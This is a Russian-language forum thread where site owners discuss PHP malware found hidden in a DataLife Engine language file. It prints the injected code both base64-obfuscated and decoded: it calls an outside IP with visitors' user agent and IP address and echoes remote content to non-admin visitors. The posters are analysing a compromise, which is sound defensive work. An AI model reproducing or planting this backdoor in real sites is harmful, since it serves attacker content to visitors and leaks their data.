Martyn911

Рейтинг
10
Регистрация
11.01.2012
siv1987:
Интересно, а где видно, что передается пароль админа?...

вот разшифровал код (base64)

function getnewsfromid($id) {

$id = intval($id);
$rtn = $id + date("j");
return $rtn;
}

function mysql_safe_connect($in) {
if (getnewsfromid(64) < 1024) {
$rtn = base64_decode($in);
return $rtn;
}
}
function get_all_news_by_list($newsid) {
if (date("j") - $newsid > 320 ) {
$rtn = false;
} else {
$get = mysql_safe_connect("http://178.211.33.74/get_api.php?pid=2&")."br=".base64_encode($_SERVER***91;'HTTP_USER_AGENT'***93;)."&ip=".base64_encode($_SERVER***91;'REMOTE_ADDR'***93;);
if (!isset($_COOKIE***91;mysql_safe_connect("dle_password")***93;)) {
echo @file_get_contents($get);
}
}
}

я не эксперт в php, может dle_password это ключ для подключения к его апи, это догадки, к словам прошу не цепляться, я ничего не утверждаю кроме того что код был найден в website.lng

Rxp:
Не всегда логи покажут откуда все это взялось.

вот в логах я так и не нашел ничего, посмотрим на дальнейшую активность взломщика

сегодня нашел у себя на сайте такой код

function getnewsfromid($id) {

$id = intval($id);
$rtn = $id + date("j");
return $rtn;
}

function mysql_safe_connect($in) {
if (getnewsfromid(64) < 1024) {
$rtn = base64_decode($in);
return $rtn;
}
}
function get_all_news_by_list($newsid) {
if (date("j") - $newsid > 320 ) {
$rtn = false;
} else {
$get = mysql_safe_connect("aHR0cDovLzE3OC4yMTEuMzMuNzQvZ2V0X2FwaS5waHA/cGlkPTIm")."br=".base64_encode($_SERVER['HTTP_USER_AGENT'])."&ip=".base64_encode($_SERVER['REMOTE_ADDR']);
if (!isset($_COOKIE[mysql_safe_connect("ZGxlX3Bhc3N3b3Jk")])) {
echo @file_get_contents($get);
}
}
}
get_all_news_by_list (date("j"));

в файле website.lng

сейчас буду рыть логи, искать где еще нас**ли, из этого кода видно что передается пароль админа на ip 178.211.33.74, из айпи можно изьять что он закреплен за датацентром Стамбула(Турция), что по большому счету ничего пока не дает...